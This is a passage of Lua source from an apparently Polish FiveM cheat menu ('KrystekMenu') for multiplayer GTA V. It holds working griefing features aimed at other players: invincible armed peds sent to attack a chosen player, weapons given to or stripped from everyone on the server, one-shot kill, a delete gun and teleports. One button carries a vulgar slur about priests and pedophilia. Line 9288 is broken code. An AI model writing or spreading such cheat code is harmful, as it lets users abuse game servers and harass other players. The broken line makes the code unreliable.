  8911. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8912. end
  8913. end
  8914. else
  8915. av("Niepoprwany Model!")
  8916. end
  8917. end
  8918. KrystekMenu.Display()
  8919. elseif KrystekMenu.IsMenuOpened('SpawnPeds') then
  8920. if KrystekMenu.Button('~h~~r~Zresp ~r~customowego peda') then
  8921. local bQ =KeyboardInput("Resp code peda https://wiki.rage.mp/index.php?title=Peds","",100000000)
  8922. local bR =KeyboardInput("Z jaka bronia? weapon_(nazwa)","",100000000)
  8923. for i = 0, 2 do
  8924. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8925. RequestModel(GetHashKey(bQ))
  8926. Citizen.Wait(50)
  8927. if HasModelLoaded(GetHashKey(bQ)) then
  8928. local ped =
  8929. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8930. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8931. NetworkRegisterEntityAsNetworked(ped)
  8932. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8933. local ei = PedToNet(ped)
  8934. NetworkSetNetworkIdDynamic(ei, false)
  8935. SetNetworkIdCanMigrate(ei, true)
  8936. SetNetworkIdExistsOnAllMachines(ei, true)
  8937. Citizen.Wait(500)
  8938. NetToPed(ei)
  8939. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8940. SetEntityInvincible(ped, true)
  8941. SetPedCanSwitchWeapon(ped, true)
  8942. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8943. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8944. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8945. else
  8946. Citizen.Wait(0)
  8947. end
  8948. end
  8949. end
  8950. elseif KrystekMenu.Button('~h~~r~Zresp ~w~SWAT z ~y~AK') then
  8951. local bQ = 's_m_y_swat_01'
  8952. local bR = 'WEAPON_ASSAULTRIFLE'
  8953. for i = 0, 2 do
  8954. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8955. RequestModel(GetHashKey(bQ))
  8956. Citizen.Wait(50)
  8957. if HasModelLoaded(GetHashKey(bQ)) then
  8958. local ped =
  8959. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8960. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8961. NetworkRegisterEntityAsNetworked(ped)
  8962. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8963. local ei = PedToNet(ped)
  8964. NetworkSetNetworkIdDynamic(ei, false)
  8965. SetNetworkIdCanMigrate(ei, true)
  8966. SetNetworkIdExistsOnAllMachines(ei, true)
  8967. Citizen.Wait(500)
  8968. NetToPed(ei)
  8969. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8970. SetEntityInvincible(ped, true)
  8971. SetPedCanSwitchWeapon(ped, true)
  8972. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8973. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8974. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8975. else
  8976. Citizen.Wait(0)
  8977. end
  8978. end
  8979. end
  8980. elseif KrystekMenu.Button('~h~~r~Zresp ~w~wieloryba') then
  8981. local bQ = 'a_c_humpback'
  8982. local bR = 'WEAPON_ASSAULTRIFLE'
  8983. for i = 0, 2 do
  8984. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8985. RequestModel(GetHashKey(bQ))
  8986. Citizen.Wait(50)
  8987. if HasModelLoaded(GetHashKey(bQ)) then
  8988. local ped =
  8989. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8990. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8991. NetworkRegisterEntityAsNetworked(ped)
  8992. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8993. local ei = PedToNet(ped)
  8994. NetworkSetNetworkIdDynamic(ei, false)
  8995. SetNetworkIdCanMigrate(ei, true)
  8996. SetNetworkIdExistsOnAllMachines(ei, true)
  8997. Citizen.Wait(500)
  8998. NetToPed(ei)
  8999. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9000. SetEntityInvincible(ped, true)
  9001. SetPedCanSwitchWeapon(ped, true)
  9002. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9003. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9004. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9005. else
  9006. Citizen.Wait(0)
  9007. end
  9008. end
  9009. end
  9010. elseif KrystekMenu.Button('~h~~r~Zresp ~w~pedofila jebanego w dupe') then
  9011. local bQ = 'cs_priest'
  9012. local bR = 'WEAPON_ASSAULTRIFLE'
  9013. for i = 0, 2 do
  9014. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9015. RequestModel(GetHashKey(bQ))
  9016. Citizen.Wait(50)
  9017. if HasModelLoaded(GetHashKey(bQ)) then
  9018. local ped =
  9019. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9020. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9021. NetworkRegisterEntityAsNetworked(ped)
  9022. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9023. local ei = PedToNet(ped)
  9024. NetworkSetNetworkIdDynamic(ei, false)
  9025. SetNetworkIdCanMigrate(ei, true)
  9026. SetNetworkIdExistsOnAllMachines(ei, true)
  9027. Citizen.Wait(500)
  9028. NetToPed(ei)
  9029. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9030. SetEntityInvincible(ped, true)
  9031. SetPedCanSwitchWeapon(ped, true)
  9032. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9033. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9034. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9035. else
  9036. Citizen.Wait(0)
  9037. end
  9038. end
  9039. end
  9040.  
  9041. elseif KrystekMenu.Button('~h~~r~Zresp ~w~SWAT z ~y~pistoletem na flary') then
  9042. local bQ = 's_m_y_swat_01'
  9043. local bR = 'weapon_flaregun'
  9044. for i = 0, 2 do
  9045. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9046. RequestModel(GetHashKey(bQ))
  9047. Citizen.Wait(50)
  9048. if HasModelLoaded(GetHashKey(bQ)) then
  9049. local ped =
  9050. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9051. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9052. NetworkRegisterEntityAsNetworked(ped)
  9053. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9054. local ei = PedToNet(ped)
  9055. NetworkSetNetworkIdDynamic(ei, false)
  9056. SetNetworkIdCanMigrate(ei, true)
  9057. SetNetworkIdExistsOnAllMachines(ei, true)
  9058. Citizen.Wait(500)
  9059. NetToPed(ei)
  9060. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9061. SetEntityInvincible(ped, true)
  9062. SetPedCanSwitchWeapon(ped, true)
  9063. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9064. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9065. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9066. else
  9067. Citizen.Wait(0)
  9068. end
  9069. end
  9070. end
  9071. elseif KrystekMenu.Button('~h~~r~Zresp ~w~SWAT z ~y~Railgunem') then
  9072. local bQ = 's_m_y_swat_01'
  9073. local bR = 'weapon_railgun'
  9074. for i = 0, 2 do
  9075. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9076. RequestModel(GetHashKey(bQ))
  9077. Citizen.Wait(50)
  9078. if HasModelLoaded(GetHashKey(bQ)) then
  9079. local ped =
  9080. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9081. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9082. NetworkRegisterEntityAsNetworked(ped)
  9083. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9084. local ei = PedToNet(ped)
  9085. NetworkSetNetworkIdDynamic(ei, false)
  9086. SetNetworkIdCanMigrate(ei, true)
  9087. SetNetworkIdExistsOnAllMachines(ei, true)
  9088. Citizen.Wait(500)
  9089. NetToPed(ei)
  9090. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9091. SetEntityInvincible(ped, true)
  9092. SetPedCanSwitchWeapon(ped, true)
  9093. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9094. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9095. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9096. else
  9097. Citizen.Wait(0)
  9098. end
  9099. end
  9100. end
  9101. elseif KrystekMenu.Button('~h~~r~Zresp ~w~swinie') then
  9102. local bQ = 'a_c_pig'
  9103. local bR = 'weapon_rpg'
  9104. for i = 0, 2 do
  9105. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9106. RequestModel(GetHashKey(bQ))
  9107. Citizen.Wait(50)
  9108. if HasModelLoaded(GetHashKey(bQ)) then
  9109. local ped =
  9110. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9111. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9112. NetworkRegisterEntityAsNetworked(ped)
  9113. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9114. local ei = PedToNet(ped)
  9115. NetworkSetNetworkIdDynamic(ei, false)
  9116. SetNetworkIdCanMigrate(ei, true)
  9117. SetNetworkIdExistsOnAllMachines(ei, true)
  9118. Citizen.Wait(500)
  9119. NetToPed(ei)
  9120. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9121. SetEntityInvincible(ped, true)
  9122. SetPedCanSwitchWeapon(ped, true)
  9123. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9124. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9125. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9126. else
  9127. Citizen.Wait(0)
  9128. end
  9129. end
  9130. end
  9131. elseif KrystekMenu.Button('~h~~r~Zresp ~w~dzika') then
  9132. local bQ = 'a_c_boar'
  9133. local bR = 'weapon_rpg'
  9134. for i = 0, 2 do
  9135. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9136. RequestModel(GetHashKey(bQ))
  9137. Citizen.Wait(50)
  9138. if HasModelLoaded(GetHashKey(bQ)) then
  9139. local ped =
  9140. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9141. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9142. NetworkRegisterEntityAsNetworked(ped)
  9143. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9144. local ei = PedToNet(ped)
  9145. NetworkSetNetworkIdDynamic(ei, false)
  9146. SetNetworkIdCanMigrate(ei, true)
  9147. SetNetworkIdExistsOnAllMachines(ei, true)
  9148. Citizen.Wait(500)
  9149. NetToPed(ei)
  9150. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9151. SetEntityInvincible(ped, true)
  9152. SetPedCanSwitchWeapon(ped, true)
  9153. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9154. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9155. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9156. else
  9157. Citizen.Wait(0)
  9158. end
  9159. end
  9160. end
  9161. elseif KrystekMenu.Button('~h~~r~Zresp ~w~szympansa') then
  9162. local bQ = 'a_c_chimp'
  9163. local bR = 'weapon_rpg'
  9164. for i = 0, 2 do
  9165. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9166. RequestModel(GetHashKey(bQ))
  9167. Citizen.Wait(50)
  9168. if HasModelLoaded(GetHashKey(bQ)) then
  9169. local ped =
  9170. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9171. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9172. NetworkRegisterEntityAsNetworked(ped)
  9173. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9174. local ei = PedToNet(ped)
  9175. NetworkSetNetworkIdDynamic(ei, false)
  9176. SetNetworkIdCanMigrate(ei, true)
  9177. SetNetworkIdExistsOnAllMachines(ei, true)
  9178. Citizen.Wait(500)
  9179. NetToPed(ei)
  9180. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9181. SetEntityInvincible(ped, true)
  9182. SetPedCanSwitchWeapon(ped, true)
  9183. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9184. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9185. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9186. else
  9187. Citizen.Wait(0)
  9188. end
  9189. end
  9190. end
  9191. elseif KrystekMenu.Button('~h~~r~Zresp ~w~puma') then
  9192. local bQ = 'a_c_mtlion'
  9193. local bR = 'weapon_rpg'
  9194. for i = 0, 2 do
  9195. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9196. RequestModel(GetHashKey(bQ))
  9197. Citizen.Wait(50)
  9198. if HasModelLoaded(GetHashKey(bQ)) then
  9199. local ped =
  9200. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9201. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9202. NetworkRegisterEntityAsNetworked(ped)
  9203. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9204. local ei = PedToNet(ped)
  9205. NetworkSetNetworkIdDynamic(ei, false)
  9206. SetNetworkIdCanMigrate(ei, true)
  9207. SetNetworkIdExistsOnAllMachines(ei, true)
  9208. Citizen.Wait(500)
  9209. NetToPed(ei)
  9210. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9211. SetEntityInvincible(ped, true)
  9212. SetPedCanSwitchWeapon(ped, true)
  9213. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9214. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9215. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9216. else
  9217. Citizen.Wait(0)
  9218. end
  9219. end
  9220. end
  9221. elseif KrystekMenu.Button('~h~~r~Zresp ~g~aliena') then
  9222. local bQ = 's_m_m_movalien_01'
  9223. local bR = 'weapon_rpg'
  9224. for i = 0, 2 do
  9225. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9226. RequestModel(GetHashKey(bQ))
  9227. Citizen.Wait(50)
  9228. if HasModelLoaded(GetHashKey(bQ)) then
  9229. local ped =
  9230. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9231. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9232. NetworkRegisterEntityAsNetworked(ped)
  9233. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9234. local ei = PedToNet(ped)
  9235. NetworkSetNetworkIdDynamic(ei, false)
  9236. SetNetworkIdCanMigrate(ei, true)
  9237. SetNetworkIdExistsOnAllMachines(ei, true)
  9238. Citizen.Wait(500)
  9239. NetToPed(ei)
  9240. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9241. SetEntityInvincible(ped, true)
  9242. SetPedCanSwitchWeapon(ped, true)
  9243. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9244. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9245. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9246. else
  9247. Citizen.Wait(0)
  9248. end
  9249. end
  9250. end
  9251. elseif KrystekMenu.Button('~h~~r~Zresp ~g~krowe') then
  9252. local bQ = 'a_c_cow'
  9253. local bR = 'weapon_rpg'
  9254. for i = 0, 2 do
  9255. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9256. RequestModel(GetHashKey(bQ))
  9257. Citizen.Wait(50)
  9258. if HasModelLoaded(GetHashKey(bQ)) then
  9259. local ped =
  9260. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9261. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9262. NetworkRegisterEntityAsNetworked(ped)
  9263. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9264. local ei = PedToNet(ped)
  9265. NetworkSetNetworkIdDynamic(ei, false)
  9266. SetNetworkIdCanMigrate(ei, true)
  9267. SetNetworkIdExistsOnAllMachines(ei, true)
  9268. Citizen.Wait(500)
  9269. NetToPed(ei)
  9270. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9271. SetEntityInvincible(ped, true)
  9272. SetPedCanSwitchWeapon(ped, true)
  9273. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9274. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9275. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9276. else
  9277. Citizen.Wait(0)
  9278. end
  9279. end
  9280. end
  9281.  
  9282.  
  9283. elseif KrystekMenu.Button('~h~~r~Zresp ~w~orki ') then
  9284. local bQ = 'a_c_killerwhale'
  9285. local bR = 'weapon_knife'
  9286. for i = 0, 2 do
  9287. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9288. (GetHashKey(bQ))
  9289. Citizen.Wait(50)
  9290. if HasModelLoaded(GetHashKey(bQ)) then
  9291. local ped =
  9292. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9293. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9294. NetworkRegisterEntityAsNetworked(ped)
  9295. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9296. local ei = PedToNet(ped)
  9297. NetworkSetNetworkIdDynamic(ei, false)
  9298. SetNetworkIdCanMigrate(ei, true)
  9299. SetNetworkIdExistsOnAllMachines(ei, true)
  9300. Citizen.Wait(500)
  9301. NetToPed(ei)
  9302. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9303. SetEntityInvincible(ped, true)
  9304. SetPedCanSwitchWeapon(ped, true)
  9305. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9306. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9307. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9308. else
  9309. Citizen.Wait(0)
  9310. end
  9311. end
  9312. end
  9313. elseif KrystekMenu.Button('~h~~r~Zresp ~w~psy') then
  9314. local bQ = 'a_c_pug'
  9315. local bR = 'weapon_knife'
  9316. for i = 0, 2 do
  9317. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  9318. RequestModel(GetHashKey(bQ))
  9319. Citizen.Wait(50)
  9320. if HasModelLoaded(GetHashKey(bQ)) then
  9321. local ped =
  9322. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  9323. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  9324. NetworkRegisterEntityAsNetworked(ped)
  9325. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9326. local ei = PedToNet(ped)
  9327. NetworkSetNetworkIdDynamic(ei, false)
  9328. SetNetworkIdCanMigrate(ei, true)
  9329. SetNetworkIdExistsOnAllMachines(ei, true)
  9330. Citizen.Wait(500)
  9331. NetToPed(ei)
  9332. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  9333. SetEntityInvincible(ped, true)
  9334. SetPedCanSwitchWeapon(ped, true)
  9335. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  9336. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  9337. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  9338. else
  9339. Citizen.Wait(0)
  9340. end
  9341. end
  9342. end
  9343. end
  9344. KrystekMenu.Display()
  9345. elseif
  9346. IsDisabledControlPressed(0, 314) and IsDisabledControlPressed(0, 21) or
  9347. IsDisabledControlPressed(0, 314) and IsDisabledControlPressed(0, 21)
  9348. then
  9349. if mhaonn then
  9350. KrystekMenu.OpenMenu('KrystekMu')
  9351. else
  9352. bE()
  9353. end
  9354. KrystekMenu.Display()
  9355. elseif KrystekMenu.IsMenuOpened('TeleportMenu') then
  9356. if KrystekMenu.Button('~h~Teleportuj do ~g~Znacznika') then
  9357. c6()
  9358. elseif KrystekMenu.Button('~h~Teleportuj do ~g~najblizszego ~s~pojazdu') then
  9359. b_()
  9360. elseif KrystekMenu.Button('~h~Teleportuj do ~r~kordow') then
  9361. bT()
  9362. elseif KrystekMenu.Button('~h~Ustaw customowy ~r~znacznik ~s~na mapie') then
  9363. bX()
  9364. elseif
  9365. KrystekMenu.CheckBox(
  9366. '~h~Pokaz ~g~Kordy',
  9367. showCoords,
  9368. function(dR)
  9369. showCoords = dR
  9370. end
  9371. )
  9372. then
  9373. end
  9374. KrystekMenu.Display()
  9375. elseif KrystekMenu.IsMenuOpened('WeaponMenu') then
  9376. if KrystekMenu.MenuButton('~h~~p~#~s~ Daj Jedna Bron', 'WeaponTypes') then
  9377. elseif KrystekMenu.Button('~h~~g~Daj Wszystkie Bronie') then
  9378. for i = 1, #b6 do
  9379. GiveWeaponToPed(PlayerPedId(-1), GetHashKey(b6[i]), 1000, false, false)
  9380. end
  9381. elseif KrystekMenu.Button('~h~~r~Usun Wszystkie Bronie') then
  9382. RemoveAllPedWeapons(PlayerPedId(-1), true)
  9383. elseif KrystekMenu.Button('~h~Wyrzuc trzymana bron') then
  9384. local ak = GetPlayerPed(-1)
  9385. local b = GetSelectedPedWeapon(ak)
  9386. SetPedDropsInventoryWeapon(GetPlayerPed(-1), b, 0, 2.0, 0, -1)
  9387. elseif KrystekMenu.Button('~h~~g~Daj Wszystkie Bronie Dla ~s~Wszystkich') then
  9388. for el = 0, 128 do
  9389. if el ~= PlayerId(-1) and GetPlayerServerId(el) ~= 0 then
  9390. for i = 1, #b6 do
  9391. GiveWeaponToPed(GetPlayerPed(el), GetHashKey(b6[i]), 1000, false, false)
  9392. end
  9393. end
  9394. end
  9395. elseif KrystekMenu.Button('~h~~r~Usun Wszystkie Bronie Dla ~s~Wszystkich') then
  9396. for el = 0, 128 do
  9397. if el ~= PlayerId(-1) and GetPlayerServerId(el) ~= 0 then
  9398. for i = 1, #b6 do
  9399. RemoveWeaponFromPed(GetPlayerPed(el), GetHashKey(b6[i]))
  9400. end
  9401. end
  9402. end
  9403. elseif KrystekMenu.Button('~h~Daj Amunicje') then
  9404. for i = 1, #b6 do
  9405. AddAmmoToPed(PlayerPedId(-1), GetHashKey(b6[i]), 200)
  9406. end
  9407. elseif
  9408. KrystekMenu.CheckBox(
  9409. '~h~~r~OneShot OneKill',
  9410. oneshot,
  9411. function(dR)
  9412. oneshot = dR
  9413. end
  9414. )
  9415. then
  9416. elseif
  9417. KrystekMenu.CheckBox(
  9418. '~h~~g~Kolorowy ~s~Flare Gun',
  9419. rainbowf,
  9420. function(dR)
  9421. rainbowf = dR
  9422. end
  9423. )
  9424. then
  9425. elseif
  9426. KrystekMenu.CheckBox(
  9427. '~h~Pistolet Na Pojazdy XD',
  9428. VehicleGun,
  9429. function(dR)
  9430. VehicleGun = dR
  9431. end
  9432. )
  9433. then
  9434. elseif
  9435. KrystekMenu.CheckBox(
  9436. '~h~Delete Gun',
  9437. DeleteGun,
  9438. function(dR)
  9439. DeleteGun = dR
  9440. end
  9441. )
  9442. then
  9443. end
  9444. KrystekMenu.Display()
  9445. elseif KrystekMenu.IsMenuOpened('tunings') then
  9446. veh = GetVehiclePedIsUsing(PlayerPedId())
  9447. for i, dE in pairs(bl) do
  9448. if dE.id == 'extra' and #checkValidVehicleExtras() ~= 0 then
  9449. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9450. end
  9451. elseif dE.id == 'neon' then
  9452. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9453. end
  9454. elseif dE.id == 'paint' then
  9455. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9456. end
  9457. elseif dE.id == 'wheeltypes' then
  9458. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9459. end
  9460. elseif dE.id == 'headlight' then
  9461. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9462. end
  9463. elseif dE.id == 'licence' then
  9464. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9465. end
  9466. else
  9467. local az = checkValidVehicleMods(dE.id)
  9468. for ci, dL in pairs(az) do
  9469. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9470. end
  9471. break
  9472. end
  9473. end
  9474. end
  9475. if IsToggleModOn(veh, 22) then
  9476. xenonStatus = 'Zainstalowane'
  9477. else
  9478. xenonStatus = 'Nie Zainstalowane'
  9479. end
  9480. if KrystekMenu.Button('Xenon Headlight', xenonStatus) then
  9481. if not IsToggleModOn(veh, 22) then
  9482. ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
  9483. else
  9484. ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
  9485. end
  9486. end
  9487. KrystekMenu.Display()
  9488. elseif KrystekMenu.IsMenuOpened('performance') then
  9489. veh = GetVehiclePedIsUsing(PlayerPedId())
  9490. for i, dE in pairs(bm) do
  9491. if KrystekMenu.MenuButton(dE.name, dE.id) then
  9492. end
  9493. end
  9494. if IsToggleModOn(veh, 18) then
  9495. turboStatus = 'Zainstalowane'
  9496. else
  9497. turboStatus = 'Nie Zainstalowane'
  9498. end
  9499. if KrystekMenu.Button('~h~~b~Tuning ~h~Turbo', turboStatus) then
  9500. if not IsToggleModOn(veh, 18) then
  9501. ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
  9502. else
  9503. ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
  9504. end
  9505. end
  9506. KrystekMenu.Display()
  9507. elseif KrystekMenu.IsMenuOpened('primary') then
  9508. KrystekMenu.MenuButton('~h~~p~#~s~ Klasyczny', 'classic1')
  9509. KrystekMenu.MenuButton('~h~~p~#~s~ Metaliczny', 'metallic1')
  9510. KrystekMenu.MenuButton('~h~~p~#~s~ Matowy', 'matte1')
  9511. KrystekMenu.MenuButton('~h~~p~#~s~ Metalowy', 'metal1')
  9512. KrystekMenu.Display()
  9513. elseif KrystekMenu.IsMenuOpened('secondary') then
  9514. KrystekMenu.MenuButton('~h~~p~#~s~ Klasyczny', 'classic2')
  9515. KrystekMenu.MenuButton('~h~~p~#~s~ Metaliczny', 'metallic2')
  9516. KrystekMenu.MenuButton('~h~~p~#~s~ Matowy', 'matte2')
  9517. KrystekMenu.MenuButton('~h~~p~#~s~ Metalowy', 'metal2')
  9518. KrystekMenu.Display()
  9519. elseif KrystekMenu.IsMenuOpened('rimpaint') then
  9520. KrystekMenu.MenuButton('~h~~p~#~s~ Klasyczny', 'classic3')
  9521. KrystekMenu.MenuButton('~h~~p~#~s~ Metaliczny', 'metallic3')
  9522. KrystekMenu.MenuButton('~h~~p~#~s~ Matowy', 'matte3')
  9523. KrystekMenu.MenuButton('~h~~p~#~s~ Metalowy', 'metal3')
  9524. KrystekMenu.Display()
  9525. elseif KrystekMenu.IsMenuOpened('classic1') then
  9526. for dK, em in pairs(br) do
  9527. tp, ts = GetVehicleColours(veh)
  9528. if tp == em.id and not bg then
  9529. pricetext = 'Zainstalowane'
  9530. else
  9531. if bg and tp == em.id then
  9532. pricetext = 'Testowanie'
  9533. else
  9534. pricetext = 'Nie Zainstalowane'
  9535. end
  9536. end
  9537. curprim, cursec = GetVehicleColours(veh)
  9538. if KrystekMenu.Button(em.name, pricetext) then
  9539. if not bg then
  9540. bi = 'paint'
  9541. bk = false
  9542. oldprim, oldsec = GetVehicleColours(veh)
  9543. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9544. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9545. SetVehicleColours(veh, em.id, oldsec)
  9546. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9547. bg = true
  9548. elseif bg and curprim == em.id then
